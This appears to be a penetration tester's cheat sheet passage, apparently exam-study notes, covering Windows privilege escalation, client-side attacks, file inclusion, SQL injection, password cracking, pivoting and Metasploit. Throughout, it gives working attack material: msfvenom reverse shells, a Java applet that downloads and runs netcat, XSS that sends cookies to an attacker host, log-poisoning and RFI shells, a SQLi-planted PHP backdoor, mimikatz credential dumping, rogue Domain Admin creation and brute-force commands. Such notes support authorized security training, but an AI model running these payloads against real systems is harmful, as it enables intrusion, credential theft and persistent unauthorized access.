# look for `Everyone:(...)(F)`, `BUILTIN\Users:(...)(F)`, `NT AUTHORITY\Authenticated Users:(...)(M)`, `NT AUTHORITY\Authenticated Users:(...)(C)`, or `[Computer]\[Your User]:(...)(F)` to check if you are able to write that directory
# drop a malicious executable at "C:\Program Files (x86)\Program Folder\A Subfolder\Another.exe" that spawns a shell
# restart service

Tools:

  • wmic service
  • icacls
  • Metasploit Module: exploit/windows/local/trusted_service_path

Reference:

AlwaysInstallElevated

# On Windows:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# if key is found, the following is produced:
# HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
#    AlwaysInstallElevated    REG_DWORD    0x1
# if not found:
# ERROR: The system was unable to find the specified registry key or value.

# On Kali, generate a msi that will call a reverse shell
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=[kali ip] LPORT=[port] -f exe -o payload.exe
msfvenom -p windows/exec cmd="C:\Users\bob\AppData\Local\Temp\Payload.exe" -f msi-nouac -o shell.msi
# transfer both to "C:\Users\bob\AppData\Local\Temp\"

# On Windows:
msiexec /quiet /qn /i "C:\Users\bob\AppData\Local\Temp\malicious.msi" # /quiet - Suppress messages to the user, /qn - no gui, /i - regular (vs administrative) installation

Tools:

  • Metasploit Module: exploit/windows/local/always_install_elevated

Resources:

DLL Hijacking

Order in which Windows finds a DLL:

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)
  6. Directories in the PATH environment variable (system then user)

Sometimes, a DLL does not exist on the machine. As a low privilege user we have little hope of putting a malicious DLL in 1-4, 5 is not a possibility in this case because we are talking about a Windows service but if we have write access to any of the directories in the Windows PATH we win.

We'll need 2 things, a writable file/folder in %PATH% ("C:\Python27"), and a vulnerable service/application that has missing DLLs (IKEEXT):

echo %path%
# Find a non-default directory in "C:\", it will give write access to authenticated users.
cacls "C:\Python27"
msfvenom -p windows/shell_reverse_tcp lhost=[kali ip] lport=[port] -f dll -o shell.dll # on Kali
copy shell.dll C:\Python27\wlbsctrl.dll
# restart IKEEXT service

Resources:

Task Scheduler Weak File/Folder Permissions

schtasks /query /fo LIST /v
# Look at the "Task To Run" within the task list. Eg: E:\GrabLogs\tftp.exe 10.1.1.99 GET ...
cacls "E:\GrabLogs"
# If Authenticated Users or Users or equivalent has modify permissions, simply replace the binary within with a reverse shell
copy shell.exe E:\GrabLogs\tftp.exe

Stored Credentials

dir c:\*pass*.txt /s /b
dir c:\*vnc.ini /s /b /c
dir c:\*ultravnc.ini /s /b /c
dir c:\ /s /b /c | findstr /si *vnc.ini
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
type C:\unattend.xml
type C:\sysprep.inf
type C:\sysprep\sysprep.xml

Retrieving credentials stored within GPP files from Domain Controller:

net use z: \\dc01\SYSVOL # whr dc01 is the Domain Controller
cd C:\Windows\SYSVOL # or cd in, if you are the Domain Controller already
dir /s Groups.xml
findstr -si cpassword C:\..\Groups.xml
# within Groups.xml file, find "cpassword", then gpp-decrypt them on kali

Administrator to SYSTEM (Not Required) (Not an Issue)

Task Scheduler

This method only works on a Windows 2000, XP, or 2003 machine. And this requires local administrator access. Creates a high-priv shell using task scheduler.

time
# set the following to 1min after current time
at 01:23 /interactive "C:\shell.exe" # to open reverse shell
at 01:23 /interactive cmd.exe # to open cmd with System privileges, only works when you have GUI

Resources:

Reconfigure a Service

Refer to Insecure Service Permissions.

Useful Cmd Commands

Restarting a Windows service methods:

sc query Apache # check service status

sc stop Apache && sc start Apache
net stop Apache && net start Apache
wmic service Apache call startservice
shutdown /r /t 0 # last resort, reboot, or just wait for user to reboot

Preparation of adding a non-privileged user and allowing remote desktop connection:

net user bob bob /add
net localgroup "Remote Desktop Users" bob /add
# runas /user:bob cmd.exe # to use a shell instead of remote connection

Adding user to local administrators group:

net localgroup administrators bob /add

Creating a Domain Admin user and login to other servers within the domain. By default, Domain Admins group is part of every server's local Administrator group within the domain.

net user testing 1qwer$#@! /add /domain
net group "Domain Admins" testing /add /domain
# rdesktop -u '[domain]\testing' -p '1qwer$#@!' [ip of server part of domain] # on kali
# Start > Right-Click Command Prompt > Run as Administrator # Even as a domain admin, you'll have to manually open cmd as admin because of UAC. (https://blogs.msdn.microsoft.com/patricka/2010/05/13/if-im-an-administrator-why-do-i-get-access-denied/)

Connecting using RDP (TCP Port 3389) on Kali. Do note, if password is wrong, xfreerdp will return error code 0x20009, note if password is correct however server disables local logins, xfreerdp will open the session, but within the session, it'll say "The user name or password is incorrect". Meaning that your passwords may be correct, even if RDP isn't allowed.

rdesktop -u Administrator -p abc123 192.168.1.23
rdesktop -u 'thinc\testing' -p '1qwer$#@!' 192.168.1.23 # where thinc is the domain. if thinc doesn't work, try thinc.local
xfreerdp /u:testing /d:thinc /p:'1qwer$#@!' /v:192.168.1.23
xfreerdp /u:testing /d:thinc /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /v:192.168.1.23 # PTH method

Checking firewall rules:

# Deprecated firewall command
netsh firewall set opmode mode=disable exceptions=disable # disable firewall, requires priv

# Newer advfirewall
netsh advfirewall set currentprofile state off # disable firewall, requires priv
netsh advfirewall firewall show rule name=all | find "Rule Name:" | find "NameLookingFor" # search for a rule

Finding a file

dir /s proof.txt # /s recursive
dir /s /a proof.txt # /s recursive, /a attributes (show all hidden and system files as well)

Finding strings

findstr /i "hello" filename # /i for ignore case
findstr /si "hello" # /i for ignore case, /s for recursive

Opening a file in notepad (requires GUI):

start notepad filename

Shortnames when changing directories or during directory path traversal:

# C:\Program Files\A Pro Gram\
# 6 first chars + ~1
cd C:\PROGRA~1\APROGR~1\

Finding Windows version with only hard drive access:

type C:\Windows\System32\eula.txt

Client Side Attacks

Know Your Target

Passive Client Information Gathering

Find information online about the target, such as browser version from websites that collect user agent data.

Active Client Information Gathering

Social engineering, calling the company as a support technician in an attempt to extract useful information from the person on the other side of the line. Or sending them an email, with hope for a response or a link click, that would enumerate the user's browser version and installed extensions.

MS12-037 - Internet Explorer 8 Fixed Col Span ID

https://www.exploit-db.com/exploits/24017/

Host the malicious page and visit it. Bind shell open on port 4444.

To swap out shellcode, ensure the new shellcode is of the same size as the exploit apparently bypasses ASLR and DEP, and it also mentions it will be more reliable if it was the same size.

For that, generate the following Windows reverse shell, in Javascript unicode format, with no encoding:

msfvenom -p windows/shell_reverse_tcp LHOST=[kali ip] LPORT=443 -f js_le -e generic/none

Since the payload is 18 bytes smaller, pad it with 18 NOPs: %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090

Java Signed Applet Attack

Java.java

import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.URL;
import java.util.*;

/**
 * Author: Offensive Security
 * This Java applet will download a file and execute it.
 **/

public class Java extends Applet {
    private Object initialized = null;
    public Object isInitialized()
    {
        return initialized;
    }
    public void init() {
        Process f;
        try {
            String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;
            String expath = tmpdir + "evil.exe";
            String download = "";
            download = getParameter("1");
            if (download.length() > 0) {
                // URL parameter
                URL url = new URL(download);
                // Get an input stream for reading
                InputStream in = url.openStream();
                // Create a buffered input stream for efficency
                BufferedInputStream bufIn = new BufferedInputStream(in);
                File outputFile = new File(expath);
                OutputStream out = new BufferedOutputStream(new
                        FileOutputStream(outputFile));
                byte[] buffer = new byte[2048];
                for (;;) {
                    int nBytes = bufIn.read(buffer);
                    if (nBytes <= 0) break;
                    out.write(buffer, 0, nBytes);
                }
                out.flush();
                out.close();
                in.close();
                f = Runtime.getRuntime().exec("cmd.exe /c " + expath + " 192.168.1.23 443 -e cmd.exe"); // change to Kali IP
            }
        } catch(IOException e) {
            e.printStackTrace();
        }
        /* ended here and commented out below for bypass */
        catch (Exception exception)
        {
            exception.printStackTrace();
        }
    }
}
javac -source 1.7 -target 1.7 Java.java # compile to class
echo "Permissions: all-permissions" > /root/manifest.txt
jar cvf Java.jar Java.class # compress class into jar
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass password123
jarsigner -keystore mykeystore -keypass mykeypass -storepass password123 -signedjar SignedJava.jar Java.jar signapplet
mv Java.class SignedJava.jar /var/www/html/
echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://192.168.1.23:80/evil.exe"></applet>' > /var/www/html/java.html
cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe

Web Application Attacks

Essential Firefox Add-ons

  • Cookie Manager+
  • Tamper Data

XSS

Browser Redirection and IFRAME Injection

Forcing a victim to visit a webpage. Use an IFRAME as it is stealthy. This redirection may be used to redirect a victim browser to a client side attack or to an information gathering script. Listen for the connection: nc -lvp 80

<iframe SRC="http://[your ip]/report" height="0" width="0"></iframe>

Tools:

Stealing Cookies and Session Information

GET Request

<script>new Image().src="http://[your ip]/bogus.php?output="+document.cookie;</script>

POST Request

var http = new XMLHttpRequest();var url = "/flatfilelogin/shout.php";var params = "input_name=stolen&input_text=" + document.cookie;http.open("POST", url, true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.send(params);

File Inclusion

Local File Inclusion (LFI)

Ability to "include" any local file in the filesystem and execute PHP code within the included files.

Vulnerability:

if (isset( $_GET['LANG'] ) ) { $lang = $_GET['LANG'];}
else { $lang = 'en';}
include( $lang . '.php' );

With this, you can access files that are on the system by changing the value of the LANG attribute and using directory path traversal. But notice in the vulnerable code, it appends .php to the end, to bypass that in PHP versions below 5.3, use a null byte (%00):

LANG=../../../../../../../../windows/system32/drivers/etc/hosts%00

If we could get PHP code written to somewhere on the server filesystem, we can get a shell. Assuming, we can't directly upload a file to the remote filesystem, we can contaminate log files to include PHP code:

$ nc 192.168.1.23 80
<?php echo shell_exec($_GET['cmd']);?>


HTTP/1.1 400 Bad Request

This connection results in the following text written to the Apache log files located in C:\xampp\apache\logs\access.log, effectively introducing PHP code into a file on the local filesystem of the webserver:

192.168.1.23 - - [17/Apr/2013:06:22:00 -0400] " <?php echo shell_exec($_GET['cmd']);?>" 400 1047

Let's try including that log file and executing the malicious PHP code stored within it, by putting the pathname into the LANG attribute, and putting ipconfig in the cmd attribute:

http://192.168.1.23/addguestbook.php?name=hi&comment=&cmd=ipconfig&LANG=../../../../../../../xampp/apache/logs/access.log%00

The result may be a little hard to see, as the entire log file will be dumped along with the command's output.

Let's get a shell now by transferring over "nc.exe" to the webserver using the TFTP technique. First, start the TFTP server on the attacker machine with atftpd --daemon --port 69 /tftp and copying "nc.exe" over to the hosting directory with cp /usr/share/windows-binaries/nc.exe /tftp. Now execute the tftp on the webserver using LFI. Remember to URL encode the command string within the "cmd" attribute:

http://192.168.1.23/addguestbook.php?name=hi&comment=&cmd=tftp+-i+[kali ip]+get+nc.exe&LANG=../../../../../../../xampp/apache/logs/access.log%00

The webpage will start to hang for a while, as it awaits the output from the tftp command that is downloading "nc.exe". Once done, execute the downloaded "nc.exe" and create a reverse shell:

http://192.168.1.23/addguestbook.php?name=hi&comment=&cmd=nc.exe+[kali ip]+[port]+-e+cmd.exe&LANG=../../../../../../../xampp/apache/logs/access.log%00

LFI Summary

Techniques
param=/etc/passwd
param=/etc/passwd%00 # null byte terminate
param=../../../../../../etc/passwd%00 # directory traversal
param=php://filter/convert.base64-encode/resource=/etc/php5/apache2/php.ini%00 # filter, for files that contain bad chars PHP cannot interpret
param=expect://whoami # expect wrapper, direct code execution, not enabled by default
param=php://input # php code execution, send php code in POST data `<? system('wget http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php');?>`
param=/proc/self/environ # if readable, write php code in "User Agent" data, and it'll appear within environ
param=/proc/self/fd/0 # if readable, write php code in "referer" data, and it'll appear within file descriptor. make sure to brute force the fd number 0-10+
param=/var/lib/php/session # php sessions
param=/tmp/ # php sessions

Also phpinfo() pages can be exploited in LFI as well. phpinfo() script contains the values of PHP variables, INCLUDING any values set via GET, POST or uploaded FILES. Creating tmp files, getting the location of them, and performing LFI on them leads to code execution. https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

Log Poisoning
# Default Locations
RHEL / Red Hat / CentOS / Fedora Linux Apache log file location   /var/log/httpd/access_log     /var/log/httpd/error_log
Debian / Ubuntu Linux Apache log file location                    /var/log/apache2/access.log   /var/log/apache2/error.log
FreeBSD Apache log file location                                  /var/log/httpd-access.log     /var/log/httpd-error.log

# For custom log locations, find the "CustomLog" and "ErrorLog" definitions within these files:
/usr/local/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf

# Windows web roots
C:/xampp/htdocs/
C:/wamp/www/
C:/Inetpub/wwwroot/

fimap

fimap -s -u 'http://192.168.1.23/classes/phpmailer/class.cs_phpmailer.php?classes_dir='

Remote File Inclusion (RFI)

Ability to "include" remote files and execute PHP code within the included files. Easier to exploit, but less common than LFIs.

Just like getting a shell with LFI, start the TFTP server and prepare "nc.exe". Also, prepare a malicious file called "evil.txt" and host it within the attacker's webserver and start apache with service apache2 start:

<?php echo shell_exec("tftp -i [kali ip] get nc.exe");?>

Call the webpage to include "evil.txt" and execute the PHP code within it to download "nc.exe" from our machine using tftp. It may take a sec to download:

http://192.168.1.23/addguestbook.php?name=hi&comment=&LANG=http://[kali ip]/evil.txt%00

Change "evil.txt" on the attacker's webserver to invoke the nc.exe command:

<?php echo shell_exec("nc.exe [kali ip] [port] -e cmd.exe");?>

Prepare a listener and refresh the webpage to pop a reverse shell.

RFI Summary

Alternatively, to avoid constantly changing the php file, host this instead, and visit http://192.168.1.23/addguestbook.php?name=hi&comment=&LANG=http://[kali ip]/evil.txt%00&cmd=whoami. Change cmd to the command you want to execute:

<?php echo shell_exec($_GET['cmd']);?>
# Data wrapper allows for direct code execution
param=data:text/plain,<?system($_GET['x']);?>&x=whoami
param=data:,<?system($_GET['x']);?>&x=whoami
param=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls

SQL

Simple Authentication Bypass

select * from users where name='?' and password='?';
select * from users where name='wronguser' or 1=1;#' and password='?';
select * from users where name='wronguser' or 1=1 limit 1;#' and password='?'; # when server expects 1 result

Database Enumeration and Extraction

select * from comments where id=?;
select * from comments where id=738'; # test for sql injection
select * from comments where id=738 order by 6; # enumerate number of columns
select * from comments where id=738 union select 1,2,3,4,5,6; # union select with same number of columns, to see which numbers gets printed on webpage
select * from comments where id=738 union select 1,2,3,4,@@version,6; # discover MySQL version
select * from comments where id=738 union select 1,2,3,4,user(),6; # discover current user being used for db connection
select * from comments where id=738 union select 1,2,3,4,table_name,6 from information_schema.tables; # dump all tables and find interesting one
select * from comments where id=738 union select 1,2,3,4,column_name,6 from information_schema.columns where table_name='users'; # dump all column names from that table
select * from comments where id=738 union select 1,2,3,4,concat(name,0x3a,password),6 from users; # dump users information. 0x3a can be substituted with ':'

Reading Files with SQLi

select * from comments where id=738 union select 1,2,3,4,load_file('c:/windows/system32/drivers/etc/hosts'),6;

Writing Files with SQLi

select * from comments where id=738 union select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into outfile 'c:/xampp/htdocs/backdoor.php';
192.168.1.23/backdoor.php?cmd=ipconfig

MSSQL Xp_Cmdshell and Dumping

nmap -T4 -n -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=abc,ms-sql-xp-cmdshell.cmd='whoami' 192.168.1.23 # command execution
nmap -T4 -n -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=abc 192.168.1.23 # dump tables information
nmap -T4 -n -p 1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=abc,mssql.database=bankdb,ms-sql-query.query="select * from tblCustomers;" 192.168.1.23 # sql query

MySQL CLI

Low-priv shells may not be interactive, so remember to use -e to execute SQL queries:

mysql -uroot -pzaq1xsw2cde3 -e 'show databases;'
mysqladmin -u root password YOURNEWPASSWORD # resetting root password, good for post exploitation, may not work all the time

Unlike MSSQL, MySQL can't directly execute commands, but with UDF (user defined funtion), command execution will be possible.

Oracle

Four things to connect to an Oracle DB:

  1. IP

  2. Port

  3. Service Identifier (SID) (Database)

  4. Username/Password

  5. Determine Oracle version

  • nmap
  • auxiliary/scanner/oracle/tnslsnr_version
  1. Determine Oracle SID
  • oscanner
  • auxiliary/scanner/oracle/sid_enum
  • auxiliary/scanner/oracle/sid_brute
  1. Guess/Bruteforce User/Pass
  • oscanner
  • auxiliary/scanner/oracle/oracle_login
  1. Privilege Escalation via PL/SQL Injection
  • auxiliary/sqli/oracle/lt_findricset_cursor
  1. Manipulate Data/Post Exploitation
  2. Cover Tracks

Resources:

Tools:

Other Notes

Web Application Proxies

  • Firefox > Alt > Tools > Tamper Data > Start Tamper
  • BurpSuite

BurpSuite

Wonderful tool, great for SQLi, RFI, LFI, remote code execution, and nearly all web attacks.

  • Proxy
  • Repeater
    • Ctrl-r to send request to repeater
    • Ctrl-g to go in repeater, manually set in User Options (Tab) > Misc > Hotkeys > Edit hotkeys > Issue Repeater request > Ctrl-g
    • Ctrl-u to URL encode

Automated SQL Injection Tools

sqlmap -u http://192.168.1.23 --crawl=1 # crawls link with depth 1 and automatically find GET SQLi
sqlmap -u http://192.168.1.23/comment.php?id=738 --dbms=mysql --dump --threads=5
sqlmap -u http://192.168.1.23/comment.php?id=738 --dbms=mysql --os-shell
sqlmap -u http://192.168.1.23/login.php --data='username=john&password=smith' # POST using data
sqlmap -r login_request -p username,password # POST, using a BurpSuite request

Password Attacks

Preparing for Brute Force

Dictionary Files

/usr/share/wordlists/

Key-space Brute Force

crunch 6 6 0123456789ABCDEF -o crunch1.txt # length 6 0-9A-F
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt # length 4 a-zA-Z
crunch 0 0 -p test ing 123 # crunch will find all combinations of those 3 words, eg. 123ingtest

If a pattern is found within passwords you cracked like:

david: Abc$#123
mike: Jud()666
Judy: Hol&&278

We can generate a customized password list:

# @ - Lower case alpha characters
# , - Upper case alpha characters
# % - Numeric characters
# ^ - Special characters including space

crunch 8 8 -t ,@@^^%%% # this will generate 160GB of data

Pwdump and Fgdump

Password Hash Types in Security Accounts Manager (SAM) Database:

  • LAN Manager (LM)
    • DES
    • Windows NT-2003
    • Passwords longer than 7 chars split into two strings and is hashed separately
    • Passwords converted to uppercase before hashing
    • No salt
  • NT LAN Manager (NTLM)
    • MD4
    • Windows Vista+
    • No limit to two 7 char parts
    • Case sensitive
    • No salt

SAM db cannot be copied while OS is running, however in-memory attacks to dump the hashes can be mounted using various techniques. Pwdump and fgdump are good examples of tools that are able to perform in-memory attacks, as they inject a DLL containing the hash dumping code into the Local Security Authority Subsystem (LSASS) process, which has the necessary privileges to extract the hashes.

Fgdump and pwdump are similar, but fgdump attempts to kill local AV before attempting to dump the hashes and handle cached passwords and protected storage data as well. http://foofus.net/goons/fizzgig/

fgdump.exe

You can crack them online at http://cracker.offensive-security.com/ or use john [hashes] on Kali.

Jason:502:aad3c435b514a4eeaad3b935b51304fe:c46b9e588fa0d112de6f59fd6d58eae3:::
[username]:[relative identifier (500 - admin, 502 - kerboros)]:[LM hash]:[NT hash]

Windows Credential Editor (WCE)

WCE can steal NTLM credentials from memory and dump cleartext passwords stored by Windows authentication packages installed on the target system such as msv1_0.dll, kerberos.dll, and digest.dll.

wce -l # default, dumps NTLM hashes fromm LSASS process memory, more secure in terms of OS stability
wce -w # dumps plaintext passwords using DLLs

https://www.ampliasecurity.com/research/windows-credentials-editor/

mimikatz

privilege::debug

# Dump Passwords
sekurlsa::logonpasswords

# Passing the Hash
sekurlsa::pth /user:Administrator /domain:{domain name, eg. winxp} /ntlm:{ntlm hash here} /run:cmd

# krbtgt hash (Domain Controller)
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

More Active Directory

  • mimikatz (meterpreter modules)
  • mimikatz (manual lsadump)
  • post/windows/gather/smart_hashdump
  • post/windows/gather/credentials/gpp or cd "C:\Windows\SYSVOL" && dir /s Groups.xml then gpp-decrypt [cpassword] on Kali
  • post/windows/escalate/golden_ticket

14.1.4.1 - Passing the Hash (PTH)

Authenticate using a NT/LM hash instead of the plaintext password, saving time and effort.

Refer to SMB enumeration section:

  • CrackMapExec
  • smbmap
  • smbclient
  • pth-winexe
  • exploit/windows/smb/psexec

Password Profiling with cewl and john

cewl www.conglomerate.com -m 6 -w conglomerate-cewl.txt # scrape and generate password list from words found
# Add two numbers to the end of each password
# $[0-9]$[0-9] # add this line to /etc/john/john.conf to mutate our dictionary with 2 appended digits
john --wordlist=conglomerate-cewl.txt --rules --stdout > mutated.txt

Online Password Attacks

14.2.1.1 - medusa

medusa -d # list modules. modules available: cvs, ftp, http, imap, mssql, mysql, nntp, pcanywhere, pop3, postgres, rdp, rexec, rlogin, rsh, smbnt, smtp-vrfy, smtp, snmp, ssh, svn, telnet, vmauthd, vnc, web-form, wrapper
medusa -h 192.168.1.23 -u admin -P password-file.txt -M http -m DIR:/admin -T 20 # http brute force password
medusa -h 192.168.1.23 -p admin -U user-file.txt -M http -m DIR:/admin -T 20 # http brute force username

14.2.1.2 - ncrack

# Modules available: FTP, SSH, Telnet, HTTP(S), POP3(S), SMB, RDP, VNC, SIP, Redis, PostgreSQL, MySQL
ncrack -vv --user offsec -P password-file.txt rdp://192.168.1.23 # rdp brute force password
ncrack -vv --password offsec -U user-file.txt rdp://192.168.1.23 # rdp brute force username

Due to the way RDP works, multiple threads are not practical in this case, which makes the brute force process rather slow.

14.2.1.3 - hydra

# Modules available: adam6500, asterisk, cisco, cisco-enable, cvs, firebird, ftp, ftps, http[s]-{head|get|post}, http[s]-{get|post}-form, http-proxy, http-proxy-urlenum, icq, imap[s], irc, ldap2[s], ldap3[-{cram|digest}md5][s], mssql, mysql, nntp, oracle-listener, oracle-sid, pcanywhere, pcnfs, pop3[s], postgres, radmin2, rdp, redis, rexec, rlogin, rpcap, rsh, rtsp, s7-300, sip, smb, smtp[s], smtp-enum, snmp, socks5, ssh, sshkey, svn, teamspeak, telnet[s], vmauthd, vnc, xmpp
hydra -vV -l root -P password-file.txt 192.168.1.23 ftp # ftp brute force password
hydra -vV -p root -L user-file.txt 11.11.1.219 ftp # ftp brute force username
hydra -vV -l root -P password-file.txt 192.168.1.23 ssh # ssh brute force password
hydra -vV -l root -P fasttrack.txt -M hosts -o bruteforce ssh # ssh brute force password of multiple hosts and output to file
hydra -vV -f -P password-file.txt 192.168.1.23 snmp # snmp brute force password, stop when found
hydra -vV -f -C userpass.txt 192.168.1.23 ftp # ftp brute force login, using [user]:[pass] file, stop when found
hydra -vV -f -l admin -P [pw dict] -t [threads] -o [output] -s [port] [host] http-get [page (/camera.cgi)]
hydra -vV -f -l admin -P [pw dict] -t [threads] -o [output] -s [port] [host] http-form-post "[post page]:[post data]:[failed attempt regex]"
hydra -vV -f -l admin -P /usr/share/dirb/wordlists/small.txt -t 50 -o login-brute-force 192.168.1.23 http-form-post "/index.php:target=auth&mode=login&user_login=^USER^&password=^PASS^:The username or password you entered is invalid"
hydra -e nsr # n - check for null password, s - use the same username as the password, r - reverses the username and uses it as password. total +3 more requests

14.2.1.5 - Account Lockouts and Log Alerts

Online password brute-force attacks are noisy. Generates logs, warnings, may even lock out accounts. Could be disastraous as valid users may be unable to access the service until admin re-enables their account.

Choosing the Right Protocol: Speed vs Reward

Speed up brute-force by increasing number of threads, however, doesn't work on certain protocols like RDP and SMB. And on of that, RDP authentication negotiations are more time consuming than say HTTP. However even if it is slower, a successful attack on RDP would often provide a bigger reward. The hidden art behind online brute-force attacks is choosing your targets, user lists, and password files carefully and intelligently before intiating the attack.

Password Hash Attacks

Identifying a Hash

$ hash-identifier
...
-------------------------------------------------------------------------
HASH: c43ee559d69bc7f691fe2fbfe8a5ef0a
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

John the Ripper

john [hash.txt] # brute force
john -wordlist:/usr/share/wordlists/rockyou.txt [hash.txt] # dictionary
john -rules -wordlist:/usr/share/wordlists/rockyou.txt -format:nt [hash.txt] # dictionary + john's mangle rules
john -show -format:nt [hash.txt] # rmb to include the format when showing

unshadow passwd shadow > unshadow.txt # combine them
john -rules -wordlist:/usr/share/wordlists/rockyou.txt [unshadow.txt] # dictionary + john's mangle rules

Port Redirection and Tunneling

Local Port Forwarding

Opens a local port that forwards all traffice headed to that port to the destination

# Alice:8080 -> Bob:22 -> Bob:80
# On Alice
ssh root@bob -f -N -L 8080:localhost:80 # perspective of server, localhost is the SSH server itself, Bob
# Alice:8080 -> Bob:22 -> Charlie:3389
# On Alice
ssh root@bob -f -N -L 8080:charlie:3389 # perspective of server

Remote Port Forwarding

Opens a remote port that forwards all traffic headed to that port to the destination

# Alice:8080 -> Bob:22 -> Bob:80
# On Bob
ssh root@alice -f -N -R 8080:localhost:80 # perspective of initiator, Bob
# Alice:8080 -> Bob:22 -> Charlie:3389
# On Bob
ssh root@alice -f -N -R 8080:charlie:3389 # perspective of initiator, Bob

Pivoting

Dynamic Port Forwarding and Proxychains

Opens a local port that forwards all traffic headed to that port to the destination machine, essentially allowing you to access new networks that are not directly accessible, and perform tasks such as nmap scanning without the need of installing nmap on the pivot host.

# Alice:8080 -> Bob:22 -> Bob & Charlie's Network:0-65535

# On Alice
ssh root@bob -D 8080
echo '[ProxyList]' > proxychains.conf
echo 'socks5 127.0.0.1 8080' >> proxychains.conf
proxychains nmap -T4 -n -Pn -sT -F -p 80 charlie

IMPORTANT NOTE on Proxychains and Nmap:

  • Use -sT -Pn when proxychaining nmap!
    • ICMP (nmap host detection), UDP, nmap OS detection and non-fully established TCP connections (nmap SYN scan) will not work through proxychain, and will result in leakage, meaning your connections will go through as if without having a proxy at all, including revealing your IP address.
    • Why didn't proxychain work with nmap in the OffsecVM, but works on main Kali box? OffsecVM -> running proxychain nmap as ROOT -> defaults to SYN scan -> proxychain fails to establish SOCKS connection. Main Kali -> running proxychain nmap as non-privileged user -> defaults to TCP scan -> proxychain successfully establishes SOCKS connection.
  • No SYN scans, ICMP, UDP and OS detection: https://security.stackexchange.com/a/122562
  • Nmap and proxychains: https://ntu-offsec.github.io/blog/articles/nmap-proxychains/
  • ICMP/pings will not work with SOCKS proxy, as SOCKS is on layer 5 that acts as a proxy for TCP and UDP connections, of which ICMP requests are not. https://superuser.com/a/1030803

Resources:

Pivoting with Metasploit

If you (192.168.1.23) compromised a host with two NICs (192.168.1.23, 10.1.1.251) on session 1, simply use route add and now you can target that range.

msf > route add [subnet] [netmask] [session] # alternatively, `use post/windows/manage/autoroute` (module), or `run autoroute` (meterpreter)
msf > route add 10.1.1.0 255.255.255.0 1
msf > route print
msf > use auxiliary/scanner/http/http_version
msf auxiliary(http_version) > set RHOSTS 10.1.1.0/24

Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside, via the sessions established. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications.

msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
msf auxiliary(socks4a) > set LPORT 1080
msf auxiliary(socks4a) > exploit -j
echo '[ProxyList]' > proxychains.conf
echo 'socks4 127.0.0.1 1080' >> proxychains.conf
proxychains nmap -T4 -n ...

Want to add the route as a default route? Meaning without proxychains, traffic headed towards the remote network will be routed automatically.

msf > use post/multi/manage/autoroute
msf post(autoroute) > set SESSION session-id
msf post(autoroute) > set CMD default
msf post(autoroute) > exploit
# or
meterpreter > run post/multi/manage/autoroute CMD=default

Resources:

HTTP Encapsulation

# Client:7070 -> Server:8080 -> Server:22

# On Server
hts -F localhost:22 8080
# On Client
htc -F 7070 192.168.161.159:8080
ssh root@localhost:7070

Wireshark inspection reveals normal SSH session packets are identified as "Encrypted packets" and have "SSL Protocol" fields in them. After using HTTPTunnel, the packets no longer show those, and look like ordinary TCP packets.

Metasploit

Starting

# PostgreSQL
service postgresql start
# PostgreSQL manual start
sudo -H -u postgres bash -c "/usr/lib/postgresql/9.6/bin/postgres -D /var/lib/postgresql/9.6/main -c config_file=/etc/postgresql/9.6/main/postgresql.conf"

# Starting msfconsole
msfconsole

Note, after installing either neovim or samba-4.5.15, postgresql service scripts stops working.

Usage

# Searching for Modules
search [module]
serach type:auxiliary [module]
grep [keyword] search [module]

# Module Usage
use [module]
info
show options
set rhost [ip]
set rhosts [ips/range]      # for modules that support multiple hosts
setg rhosts [ips/range]     # global/persistent set
set threads 10              # for modules that support threads
set payload windows/meterpreter/reverse_tcp # optional, meterpreter is default
show targets
set target 1                # optional, 0 is default
set InitialAutoRunScript migrate -f # migrate immediately after getting shell. good for client-side attacks, since victim may close the browser
set EnableStageEncoding true # "Command shell session 1 closed.  Reason: Died from Errno::ECONNRESET"? disable encoding. set to true, its a bug (https://github.com/rapid7/metasploit-framework/issues/8357)
set StageEncoder "generic/none" # disable encoding.
exploit

# Multi Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp # required especially for staged payloads (meterpreter and shell/etc.)
set lhost 0.0.0.0
set lport 443
set ExitOnSession false
exploit -j

# Job Handling (when using exploit -j)
jobs            # list
jobs -k 1       # kil

# Session Handling
sessions        # list
sessions -i 1   # interact
sessions -u 1   # upgrade shell to meterpreter
sessions -k 1   # kill

# Workspaces
workspace
workspace -a lab
workspace lab
workspace -d test
db_export -f xml /tmp/ms.xml
db_import /tmp/ms.xml

# Database
hosts
db_nmap -T4 ...
services -p 443
